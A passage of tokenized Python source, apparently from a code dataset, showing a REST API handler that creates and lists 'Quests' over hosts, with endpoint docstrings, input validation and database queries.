"\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "created", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "quest", "s", "/", "1", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creat", "or", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "emb", "ark", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "target", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "completion", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "Thi", "s", " ", "is", " ", "a", " ", "quest", " ", "alm", "ight", "y", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "labor", "s", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "int", " ", "event", "Type", "Id", ":", " ", "the", " ", "ID", " ", "of", " ", "the", " ", "Event", "Type", " ", "to", " ", "for", " ", "the", " ", "Event", "s", " ", "tha", "t", " ", "will", " ", "be", " ", "throw", "n", " ", "in", " ", "the", " ", "creati", "on", " ", "of", " ", "this", " ", "Quest", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "creat", "or", ":", " ", "the", " ", "user", " ", "creati", "ng", " ", "this", " ", "Quest", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "array", " ", "hostnames", ":", " ", "the", " ", "array", " ", "of", " ", "hostnames", " ", "tha", "t", " ", "will", " ", "be", " ", "part", " ", "of", " ", "this", " ", "Quest", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "host", "Query", ":", " ", "the", " ", "query", " ", "to", " ", "send", " ", "to", " ", "the", " ", "plugin", " ", "to", " ", "come", " ", "up", " ", "with", " ", "the", " ", "list", " ", "of", " ", "hostnames", " ", "tha", "t", " ", "will", " ", "be", " ", "part", " ", "of", " ", "this", " ", "Quest", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "description", ":", " ", "The", " ", "human", " ", "reada", "ble", " ", "description", " ", "this", " ", "Quest", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "timestamp", " ", "target", "Time", ":", " ", "(*", "option", "al", "*)", " ", "The", " ", "target", " ", "date", " ", "for", " ", "the", " ", "completion", " ", "of", " ", "this", " ", "Quest", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "resh", "eader", " ", "Locat", "ion", ":", " ", "URL", " ", "to", " ", "the", " ", "created", " ", "resource", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "201", ":", " ", "The", " ", "Quest", " ", "was", " ", "success", "full", "y", " ", "created", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", "=_", "id", "\\u", "generator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "QUE", "ST", " ", "[{}]", ":", " ", "Creat", "ing", " ", "a", " ", "new", " ", "quest", "\"_", "._", "format_", "(_", "tx_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fat", "e\\u", "id_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "fat", "e", "Id", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "creator_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "creat", "or", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "EMA", "IL", "\\u", "REGEX_", "._", "match_", "(_", "creator_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "creator_", "+=_", "\"@\"_", "+_", "self_", "._", "domain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "description_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "description", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hostnames", "_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "hostnames", "\"_", ")_", "or_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\"", "target", "Time", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "\\u", "time_", "=_", "parser_", "._", "parse_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "jbo", "dy_", "[_", "\"", "target", "Time", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "time_", "=_", "target", "\\u", "time_", "._", "replace_", "(_", "tzinfo_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "target", "\\u", "time_", "<=_", "datetime_", "._", "utcnow_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Quest", " ", "target", " ", "date", " ", "must", " ", "be", " ", "in", " ", "future", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "\\u", "time_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "QUE", "ST", " ", "[{}]", ":", " ", "{}", " ", "creati", "ng", " ", "quest", " ", "with", " ", "fat", "e", " ", "{}", " ", "for", " ", "host", "s", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", ",_", "creator_", ",_", "fat", "e\\u", "id_", ",_", "\",", " ", "\"_", "._", "join_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fat", "e_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Fat", "e_", ")_", "._", "get_", "(_", "fat", "e\\u", "id_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "fat", "e_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "\\u", "error_", "(_", "400_", ",_", "message_", "=_", "\"", "Ba", "d", " ", "fat", "e", " ", "id", " ", "{}\"_", "._", "format_", "(_", "fat", "e\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "a", " ", "host", " ", "query", " ", "was", " ", "specified", ",", " ", "we", " ", "need", " ", "to", " ", "talk", " ", "to", " ", "the", " ", "external_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "query", " ", "server", " ", "to", " ", "resolve", " ", "this", " ", "int", "o", " ", "a", " ", "list", " ", "of", " ", "hostnames", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "host", "Query", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "host", "Query", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "get_", "(_", "params_", "=_", "{_", "\"", "query", "\"_", ":_", "query_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "status", "\"_", "]_", "==_", "\"", "ok", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "._", "extend_", "(_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "results", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "QUE", "ST", " ", "[{}]", ":", " ", "Host", "names", " ", "after", " ", "query", ":", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", ",_", "\",", " ", "\"_", "._", "join_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "need", " ", "to", " ", "create", " ", "a", " ", "list", " ", "of", " ", "hostnames", " ", "tha", "t", " ", "don", "'", "t", " ", "have", " ", "a", " ", "Host", " ", "record_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "host", "s", "\\u", "needed_", "=_", "list_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hosts_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "._", "filter_", "(_", "Host_", "._", "hostname_", "._", "in\\u_", "(_", "hostnames", "_", ")_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "host_", "in_", "hosts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "host", "s", "\\u", "needed_", "._", "remove_", "(_", "str_", "(_", "host_", "._", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "we", " ", "need", " ", "to", " ", "create", " ", "host", "s", ",", " ", "do", " ", "them", " ", "all", " ", "at", " ", "once_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "new", "\\u", "host", "s", "\\u", "needed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Host_", "._", "create", "\\u", "many_", "(_", "self_", "._", "session_", ",_", "new", "\\u", "host", "s", "\\u", "needed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hosts_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Host_", "._", "hostname_", "._", "in\\u_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "QUE", "ST", " ", "[{}]", ":", " ", "Work", "ing", " ", "with", " ", "{}", " ", "host", "s", "\"_", "._", "format_", "(_", "tx_", ",_", "len_", "(_", "hosts_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "hosts_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "No", " ", "host", "s", " ", "found", " ", "with", " ", "give", "n", " ", "list", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest_", "=_", "Quest", "_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", ",_", "creator_", ",_", "hosts_", ",_", "target", "\\u", "time_", ",_", "fat", "e\\u", "id_", "=_", "fat", "e\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "description_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Int", "egr", "it", "y", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "err_", "._", "orig_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exc_", "._", "Validat", "ion", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "session_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "session_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "=_", "quest_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "[_", "\"", "labor", "s", "\"_", "]_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "labor", "_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "labor", "_", "in_", "quest_", "._", "get", "\\u", "open", "\\u", "labor", "s_", "(_", ")_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "created_", "(_", "\"/", "api", "/", "v1", "/", "quest", "s", "/{}\"_", "._", "format_", "(_", "quest_", "._", "id_", ")_", ",_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "QUE", "ST", " ", "[{}]", ":", " ", "Creat", "ed", " ", "quest", " ", "{}\"_", "._", "format_", "(_", "tx_", ",_", "quest_", "._", "id_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Quest", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "all", " ", "Quest", "s", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "quest", "s", "?", "progress", "Info", "=", "true", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "limit", "\":", " ", "int", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "offset", "\":", " ", "int", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "total", "Quest", "s", "\":", " ", "int", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "quest", "s", "\":", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "quest", "s", "/", "1", "\",", "\\", "10", ";", " ", " ", "\"", "creat", "or", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", "\"", "emb", "ark", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", "\"", "target", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", "\"", "completion", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", "\"", "description", "\":", " ", "\"", "Thi", "s", " ", "is", " ", "a", " ", "quest", " ", "alm", "ight", "y", "\",", "\\", "10", ";", " ", " ", "\"", "total", "Labo", "rs", "\":", " ", "20", ",", "\\", "10", ";", " ", " ", "\"", "open", "Labo", "rs", "\":", " ", "10", ",", "\\", "10", ";", " ", " ", "\"", "percent", "Complete", "\":", " ", "50", ",", "\\", "10", ";", " ", " ", "\"", "labor", "s", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "],", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "boolean", " ", "filter", "Clos", "ed", ":", " ", "(*", "option", "al", "*)", " ", "if", " ", "true", ",", " ", "filter", " ", "out", " ", "complete", "d", " ", "Quest", "s", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "boolean", " ", "progress", "Info", ":", " ", "(*", "option", "al", "*)", " ", "if", " ", "true", ",", " ", "include", " ", "progress", " ", "informati", "on", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "by", "Creat", "or", ":", " ", "(*", "option", "al", "*)", " ", "if", " ", "set", ",", " ", "filter", " ", "the", " ", "quest", "s", " ", "by", " ", "a", " ", "partic", "ular", " ", "creat", "or", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "hostnames", ":", " ", "(*", "option", "al", "*)", " ", "filter", " ", "to", " ", "quest", "s", " ", "tha", "t", " ", "pert", "ain", " ", "to", " ", "a", " ", "partic", "ular", " ", "host", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "host", "Query", ":", " ", "(*", "option", "al", "*)", " ", "filter", " ", "quest", "s", " ", "to", " ", "tho", "se", " ", "involv", "ing", " ", "host", "s", " ", "return", "ed", " ", "by", " ", "the", " ", "external", " ", "query", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "limit", ":", " ", "(*", "option", "al", "*)", " ", "Limit", " ", "result", " ", "to", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "offset", ":", " ", "(*", "option", "al", "*)", " ", "Ski", "p", " ", "the", " ", "first", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filter", "\\u", "closed_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "filter", "Clos", "ed", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "progress", "\\u", "info_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "progress", "Info", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "by", "\\u", "creator_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "by", "Creat", "or", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hostnames", "_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "hostnames", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "query_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "host", "Query", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hostnames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "=_", "hostnames", "_", "._", "split_", "(_", "\",\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "host", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "get_", "(_", "params_", "=_", "{_", "\"", "query", "\"_", ":_", "host", "\\u", "query_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "status", "\\u", "code_", "==_", "200_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "status", "\"_", "]_", "==_", "\"", "ok", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "hostname_", "in_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "results", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "hostnames", "_", "._", "append_", "(_", "hostname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "Ba", "d", " ", "host", " ", "query", ":", " ", "{}\"_", "._", "format_", "(_", "host", "\\u", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "used", " ", "to", " ", "sort", " ", "in", " ", "reverse", " ", "emb", "ark", " ", "time", " ", "so", " ", "tha", "t", " ", "the", " ", "default", " ", "wou", "ld", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "show", " ", "the", " ", "late", "st", " ", "quest", "s", " ", "but", " ", "we", " ", "don", "'", "t", " ", "want", " ", "to", " ", "do", " ", "tha", "t", " ", "any", "more_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "quest", "s", " ", "=", " ", "self", ".", "session", ".", "query", "(", "Quest", ").", "order", "\\u", "by", "(", "desc", "(", "Quest", ".", "emb", "ark", "\\u", "time", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "quest", "s_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Quest", "_", ")_", "._", "order", "\\u", "by_", "(_", "Quest", "_", "._", "emb", "ark", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hostnames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest", "s_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "quest", "s_", "._", "join_", "(_", "Quest", "_", "._", "labor", "s_", ")_", "._", "join_", "(_", "Labo", "r_", "._", "host_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "filter_", "(_", "Host_", "._", "hostname_", "._", "in\\u_", "(_", "hostnames", "_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "group", "\\u", "by_", "(_", "Quest", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "filter", "\\u", "closed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest", "s_", "=_", "quest", "s_", "._", "filter_", "(_", "Quest", "_", "._", "completion", "\\u", "time_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "by", "\\u", "creator_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest", "s_", "=_", "quest", "s_", "._", "filter_", "(_", "Quest", "_", "._", "creator_", "==_", "by", "\\u", 